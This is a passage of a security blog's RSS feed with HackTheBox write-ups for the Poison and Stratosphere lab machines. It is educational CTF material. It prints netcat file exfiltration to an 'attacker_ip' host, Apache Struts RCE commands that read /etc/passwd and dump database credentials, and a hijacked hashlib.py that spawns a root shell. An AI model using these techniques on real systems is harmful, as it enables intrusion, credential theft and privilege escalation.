<p>homer@canape:/tmp$ <strong>cat /tmp/root.txt</strong><br />
&lt;&lt;root flag contents &gt;&gt;</p>
<p>&nbsp;</p>
<p>thats all for this fast run! thank you. stay tuned for next writeup . have a nice day!</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-canape-fastrun-writeup/">HackTheBox &#8211; Canape Fastrun WriteUp</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>HackTheBox – Poison Writeup</title>
		<link>https://barriersec.com/2018/09/hackthebox-poison-writeup/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sat, 08 Sep 2018 20:35:02 +0000</pubDate>
				<category><![CDATA[hackthebox]]></category>
		<category><![CDATA[Poison]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[poison]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=164</guid>

					<description><![CDATA[<p>Posion machine on hackthebox retired Today  anddd  I will explain, how I solved Poison box on HacktheBox. This box was&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-poison-writeup/">HackTheBox – Poison Writeup</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><strong>Posion</strong> machine on hackthebox retired Today  anddd  I will explain, how I solved Poison box on HacktheBox. This box was one of the earlier machines attempted ..and its fairly easier one to crack.</p>
<p>Lets begin our enumeration  with <strong>Nmap</strong> scan.</p>
<p><strong>nmap -sC -sV 10.10.10.84 -T4</strong></p>
<p><strong>Nmap scan report for 10.10.10.84</strong><br />
<strong>Host is up (0.24s latency).</strong><br />
<strong>Not shown: 998 closed ports</strong><br />
<strong>PORT STATE SERVICE VERSION</strong><br />
<strong>22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)</strong><br />
<strong>80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)</strong><br />
<strong>Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd</strong></p>
<p>From Nmap scan, we have two ports (22 and 80) open. its feasible to start our enumeration with the web server port.</p>
<p>On navigating to <strong>http://10.10.10.84,</strong></p>
<p>we find an interesting portal which displays,</p>
<h1><strong>Temporary website to test local .php scripts.</strong></h1>
<p><strong>Sites to be tested: ini.php, info.php, listfiles.php, phpinfo.php</strong></p>
<p>&nbsp;</p>
<p>so lets navigate to listfiles.php as it seems interesting.</p>
<p><strong>http://10.10.10.84/listfiles.php</strong></p>
<p>we are greeted with the following content :</p>
<p><strong>Array( [0] =&gt; . [1] =&gt; .. [2] =&gt; browse.php [3] =&gt; index.php [4] =&gt; info.php [5] =&gt; ini.php [6] =&gt; listfiles.php [7] =&gt; phpinfo.php [8] =&gt; pwdbackup.txt)</strong></p>
<p>again, pwdbackup.txt looks interesting. Lets navigate to it:</p>
<p><strong>http://10.10.10.84/listfiles.php</strong></p>
<p>displays :</p>
<p><strong>This password is secure, it&#8217;s encoded atleast 13 times.. what could go wrong really..</strong></p>
<p><strong>Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU</strong><br />
<strong>bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS</strong><br />
<strong>bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW</strong><br />
<strong>M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs</strong><br />
<strong>WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy</strong><br />
<strong>eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G</strong><br />
<strong>WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw</strong><br />
<strong>MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa</strong><br />
<strong>T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k</strong><br />
<strong>WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk</strong><br />
<strong>WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0</strong><br />
<strong>NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT</strong><br />
<strong>Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz</strong><br />
<strong>WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW</strong><br />
<strong>VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO</strong><br />
<strong>Ukd4RVdub3dPVU5uUFQwSwo=</strong></p>
<p>As we see, encoding appears to be base64 . so after decoding the coded text 13 times.</p>
<p>final decoded value : <strong>Charix!2#4%6&amp;8(0</strong></p>
<p>so it appears to be credentials of some sort.  and also username appears to be <strong>charix. </strong></p>
<p>Lets use these credentials to connect through SSH .</p>
<p><strong>ssh charix@10.10.10.84</strong></p>
<p><strong>charix@Poison:~ % whoami</strong><br />
<strong>charix</strong></p>
<p>Andd we are in!</p>
<p>grab the user flag and lets continue our enumeration!</p>
<p><strong>charix@Poison:~ % ls</strong><br />
<strong>secret.zip user.txt</strong></p>
<p>we find an interesting file named secret.zip which is password protected. for some reason i was unable to unzip it on remote machine . so i copied the file to local using netcat :</p>
<p>on our local  machine : <strong>nc -nlvp 1234</strong></p>
<p>on victim machine : <strong>nc -w 3 -nv attacker_ip 1234 &lt; secret.zip</strong></p>
<p>unzip the file with command using the same password which was used for SSH  : <strong>unzip secret.zip<br />
</strong></p>
<p>and we get a file named <strong>secret</strong> as the content of the zip file . Also, we find that there is a vnc server running as root on victim machine.</p>
<p><strong>charix@Poison:~ % ps -aux | grep root</strong></p>
<p><strong>&lt;&lt;snipped&gt;&gt;</strong></p>
<p><strong>root 529 0.0 0.7 23620 7148 v0- I Mon05 0:00.14 Xvnc :1 -deskto</strong><br />
<strong>root 540 0.0 0.3 67220 3288 v0- I Mon05 0:00.04 xterm -geometry</strong></p>
<p><strong>&lt;&lt;snipped&gt;&gt;</strong></p>
<p><strong>charix@Poison:~ %netstat -a</strong></p>
<p><strong>&lt;&lt;snipped&gt;&gt;</strong></p>
<p><strong>tcp4 0 0 localhost.5801 *.* LISTEN</strong><br />
<strong>tcp4 0 0 localhost.5901 *.* LISTEN</strong></p>
<p><strong>&lt;&lt;snipped&gt;&gt;</strong></p>
<p>as it cannot be accessible from outside , we have to use local port forwarding to connect to it.</p>
<p>lets create a ssh tunnel to local port forward the vnc port.</p>
<p>on one of our terminal,</p>
<p><strong>ssh -L 2345:localhost:5901 charix@10.10.10.84</strong></p>
<p>once connected minimize the terminal to leave the session open.</p>
<p>interpretation of this command is that,</p>
<p><strong>we are instructing ssh to open and listen on port (2345) on our local machine , whichever request hits port 2345 on our machine will be forwarded to server machine(i.e poison machine) on port 5901 through SSH tunnel.</strong></p>
<p>here, localhost should not be confused to our local machine, it implies localhost on server machine(i.e poison machine).</p>
<p>now on a new terminal, lets connect to the vncserver with the extracted <strong>secret</strong> file as password:</p>
<p><strong>vncviewer 127.0.0.1::2345 -passwd secret</strong></p>
<p>we get the VNC session of root user! grab the root.txt flag anndd keep pawning!</p>
<p>stay tuned for more write ups. Have a wonderful day ahead! <img src="https://s.w.org/images/core/emoji/14.0.0/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-poison-writeup/">HackTheBox – Poison Writeup</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>HackTheBox &#8211; Stratosphere Writeup</title>
		<link>https://barriersec.com/2018/09/hackthebox-stratosphere-writeup/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sat, 01 Sep 2018 20:38:52 +0000</pubDate>
				<category><![CDATA[hackthebox]]></category>
		<category><![CDATA[Stratosphere]]></category>
		<category><![CDATA[boot2root]]></category>
		<category><![CDATA[capturetheflag]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[library hijacking]]></category>
		<category><![CDATA[privilege escalation]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[stratosphere]]></category>
		<category><![CDATA[struts RCE]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=139</guid>

					<description><![CDATA[<p>Hi All, Stratopshere machine  retired today on hackthebox Andddddddd YES! I will explain how I solved Stratosphere box on Hackthebox &#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-stratosphere-writeup/">HackTheBox &#8211; Stratosphere Writeup</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: left;">Hi All, Stratopshere machine  retired today on hackthebox Andddddddd YES! I will explain how I solved Stratosphere box on Hackthebox  . This was  a medium difficulty level box and one of the interesting box that has a nice privilege escalation technique.</p>
<p>check out hackthebox for upskilling your pentest game : <a href="https://www.hackthebox.eu/">https://www.hackthebox.eu/</a></p>
<p>lets begin with basic <strong>nmap</strong> scan.</p>
<p>&nbsp;</p>
<p><strong>root@kali:~# nmap -sC -sV 10.10.10.64 -T4</strong></p>
<p><strong>Starting Nmap 7.60 ( https://nmap.org ) at 2018-08-31 21:57 IST</strong><br />
<strong>Nmap scan report for 10.10.10.64</strong><br />
<strong>Host is up (0.19s latency).</strong><br />
<strong>Not shown: 997 filtered ports</strong><br />
<strong>PORT STATE SERVICE VERSION</strong><br />
<strong>22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)</strong><br />
<strong>| ssh-hostkey: </strong><br />
<strong>| 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)</strong><br />
<strong>| 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)</strong><br />
<strong>|_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (EdDSA)</strong><br />
<strong>80/tcp open http</strong></p>
<p>from nmap scan , we have three ports open , out of which, port 80 and 22 is notable. It is feasible to start our enumeration from the web  port 80 .</p>
<p>From the dirbuster bruteforce , we find out that there is hidden site hosted at <strong>http://10.10.10.64/Monitoring/<br />
</strong></p>
<p>After a quick enumeration it is found out that , site is built using struts , and also vulnerable to <strong><span class="col-11 text-gray-dark mr-2">Apache Struts CVE-2017-5638</span></strong><span class="col-11 text-gray-dark mr-2">.</span></p>
<p>POC can be found here :  <a href="https://github.com/mazen160/struts-pwn">https://github.com/mazen160/struts-pwn</a></p>
<p>we can get the code execution by executing the POC file as follows.</p>
<p><strong>python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c &#8216;cat /etc/passwd&#8217;</strong></p>
<p><strong>&lt;&lt;snipped&gt;&gt;</strong></p>
<p><strong>richard:x:1000:1000:Richard F Smith,,,:/home/richard:/bin/bash</strong></p>
<p><strong>&lt;&lt;snipped&gt;&gt;</strong></p>
<p>from <strong>/etc/passwd</strong> file, we get the user named &#8216;<strong>richard</strong>&#8216; active on the machine</p>
<p>similarly it is found that it is running mysql with credentials <strong>&#8216;admin&#8217;/&#8217;admin&#8217; </strong>from a file named <strong>db_connect</strong> . but since mysql is not exposed to the public, we have to rely on our previously found RCE to execute sql commands. this can be done as follows :</p>
<p><strong>python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c &#8216;mysql -u admin -padmin users -e &#8220;show tables;&#8221;&#8216;</strong></p>
<p>from dumping tables , we find a table named &#8216;<strong>accounts</strong>&#8216; .</p>
<p>further dumping data from accounts table reveals certain credentials ,</p>
<p><strong>python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c &#8216;mysql -u admin -padmin users -e &#8220;select * from accounts;&#8221;&#8216;</strong></p>
<p><em><strong>fullName                       password                                                             username</strong></em><br />
<strong>Richard F. Smith   9tc*rhKuG5TyXvUJOrE^5CK7k     richard</strong></p>
<p>These credentials can be used to connect through<strong> SSH on port 22</strong>. this gives us the user flag.</p>
<p><strong>richard@stratosphere:~$ ls</strong><br />
<strong>Desktop             hashlib.py        __pycache__ test.py          user.txt</strong></p>
<p>&nbsp;</p>
<p>by quick enumeration , it is found out richard can execute few commands as root:</p>
<p><strong>richard@stratosphere:~$ sudo -l</strong><br />
Matching Defaults entries for richard on stratosphere:<br />
env_reset, mail_badpass,<br />
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin</p>
<p>User richard may run the following commands on stratosphere:<br />
<strong>(ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py</strong></p>
<p>and also , quick analysis of source code from test.py reveals, it is using hashlib library.</p>
<p><strong>#!/usr/bin/python3</strong><br />
<strong>import hashlib</strong></p>
<p>&lt;&lt;snipped&gt;&gt;</p>
<p>we can use a classic python priv esc <strong>library hijacking</strong> technique , where we can exploit how python looks for the imported libraries .</p>
<p>Since we have write permission to the working directory of the privileged python file. we can create a file named <strong>&#8216;hashlib.py&#8217;</strong> with our custom code..  this makes python parser to look at our created file instead of the actual library file intended.</p>
<p>create a file named<strong> &#8216;hashlib.py&#8217;</strong> in the same directory where <strong>&#8216;test.py&#8217;</strong> is present with following content to display contents of  root.txt file and spawn a root shell.(more on this priv esc technique: <a href="https://rastating.github.io/privilege-escalation-via-python-library-hijacking/">https://rastating.github.io/privilege-escalation-via-python-library-hijacking/</a>)</p>
<p><strong>import os</strong><br />
<strong>import pty</strong><br />
<strong>os.system(&#8216;cat /root/root.txt&#8217;)</strong><br />
<strong>pty.spawn(&#8220;/bin/sh&#8221;)</strong></p>
<p>now lets execute the following command to gain <strong>ROOT</strong>!</p>
<p><strong>richard@stratosphere:~$ sudo /usr/bin/python3 /home/richard/test.py</strong></p>
<p><strong>#</strong></p>
<p>Thank you. stay tuned for the next write up!</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/09/hackthebox-stratosphere-writeup/">HackTheBox &#8211; Stratosphere Writeup</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
